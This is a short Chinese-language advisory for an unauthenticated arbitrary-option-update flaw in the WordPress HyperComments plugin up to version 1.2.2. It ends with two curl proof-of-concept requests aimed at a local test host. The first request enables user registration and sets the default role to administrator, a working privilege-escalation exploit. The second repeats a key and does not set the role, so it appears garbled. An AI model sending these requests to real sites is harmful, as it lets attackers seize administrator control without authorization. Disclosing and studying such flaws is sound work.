HyperComments <= 1.2.2 - 未认证(订阅者+)任意选项更新
用于 WordPress 的 HyperComments 插件在包括 1.2.2 版本在内的所有版本中,由于缺少对 hc_request_handler 函数的能力检查,可能导致未经授权的数据修改,进而引发权限提升。这使得未认证的攻击者能够更新 WordPress 站点上的任意选项。此漏洞可被利用来将注册默认角色更新为管理员,并启用用户注册,从而使攻击者获得易受攻击站点的管理员用户访问权限。
curl -X POST "http://kubernetes.docker.internal:8999/?hc_action=update_options" \
-d "data={\"users_can_register\":\"1\",\"default_role\":\"administrator\"}" \
-H "Content-Type: application/x-www-form-urlencoded"
curl -X POST "http://kubernetes.docker.internal:8999/?hc_action=update_options" \
-d "data={\"users_can_register\":\"1\",\"users_can_register\":\"1\"}" \
-H "Content-Type: application/x-www-form-urlencoded"